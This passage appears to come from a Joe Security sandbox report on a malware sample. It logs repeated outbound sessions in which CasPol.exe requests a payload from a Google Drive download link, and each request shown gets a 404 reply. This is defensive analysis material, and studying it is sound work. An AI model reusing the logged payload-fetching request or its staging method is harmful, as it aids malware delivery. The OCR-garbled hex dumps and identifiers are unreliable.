a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:04 UTC 91

2021-11-24 10:55:04 UTC 91

2021-11-24 10:55:04 UTC 92

2021-11-24 10:55:04 UTC 93

Session ID Source IP

62 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:04 UTC 93

2021-11-24 10:55:05 UTC 93

2021-11-24 10:55:05 UTC 94

2021-11-24 10:55:05 UTC 94

Session ID Source IP
63 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49885

Direction

ouTt

Source Port

49886

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-alFFFf6YX1+R9Hg3Tyu30Q' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:55:04 GMT

Expires: Wed, 24 Nov 2021 10:55:04 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXxE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, " "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Content-Security-Policy: script-src ‘nonce-fQhYLnD76hXemagbevw6Uw' ‘unsafe-inline' ‘strict-dynamic’ https: http: ‘unsafe-
eval';object-src ‘none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:55:05 GMT

Expires: Wed, 24 Nov 2021 10:55:05 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:05 UTC 94

2021-11-24 10:55:05 UTC 94

2021-11-24 10:55:05 UTC 95

2021-11-24 10:55:05 UTC 96

Session ID Source IP

64 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:05 UTC 96

2021-11-24 10:55:06 UTC 96

2021-11-24 10:55:06 UTC 97

2021-11-24 10:55:06 UTC 97

Session ID Source IP
65 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49887

Direction

ouTt

Source Port

49888

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-fxeqY TBAU4CyFsQYWyyfDw' ‘unsafe-inline’ 'strict-dynamic' https: http: ‘'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:55:05 GMT

Expires: Wed, 24 Nov 2021 10:55:05 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Content-Security-Policy: script-src 'nonce-k1f+0LIsyThF1GbMQXS75w" ‘unsafe-inline' ‘strict-dynamic’ https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:55:05 GMT

Expires: Wed, 24 Nov 2021 10:55:05 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:06 UTC 97

2021-11-24 10:55:06 UTC 97

2021-11-24 10:55:06 UTC 98

2021-11-24 10:55:06 UTC 99

Session ID Source IP

66 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:06 UTC 99

2021-11-24 10:55:06 UTC 99

2021-11-24 10:55:06 UTC 100

2021-11-24 10:55:06 UTC 100

Session ID Source IP
67 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49889

Direction

ouTt

Source Port

49890

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-kvsCbycOMwBeYR6urJwF1w' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:55:06 GMT

Expires: Wed, 24 Nov 2021 10:55:06 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘nonce-jnGBJfUVDI78T1Y/cRHcKA' ‘unsafe-inline’ 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Date: Wed, 24 Nov 2021 10:55:06 GMT

Expires: Wed, 24 Nov 2021 10:55:06 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:07 UTC 100

2021-11-24 10:55:07 UTC 100

2021-11-24 10:55:07 UTC 101

2021-11-24 10:55:07 UTC 102

Session ID Source IP

68 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:07 UTC 102

2021-11-24 10:55:07 UTC 102

2021-11-24 10:55:07 UTC 103

2021-11-24 10:55:07 UTC 103

Session ID Source IP
69 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49891

Direction

ouTt

Source Port

49892

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Content-Security-Policy: script-src 'nonce-816DmBk20BIFFnfZKcEX4g' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:55:07 GMT

Expires: Wed, 24 Nov 2021 10:55:07 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Content-Security-Policy: script-src ‘nonce-sYUBkOd03pPdREcOjBOIsg' ‘unsafe-inline' ‘strict-dynamic’ https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:55:07 GMT

Expires: Wed, 24 Nov 2021 10:55:07 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:08 UTC 103

2021-11-24 10:55:08 UTC 103

2021-11-24 10:55:08 UTC 104

2021-11-24 10:55:08 UTC 105

Session ID Source IP

7 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:40 UTC 10

2021-11-24 10:54:41 UTC 11

2021-11-24 10:54:41 UTC 12

2021-11-24 10:54:41 UTC 12

Session ID Source IP
70 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49829

Direction

ouTt

Source Port

49893

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-Bx2Rsb33DHkwsz22XVHPOg' 'unsafe-inline’ 'strict-dynamic' https: http: ‘'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:55:08 GMT

Expires: Wed, 24 Nov 2021 10:55:08 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

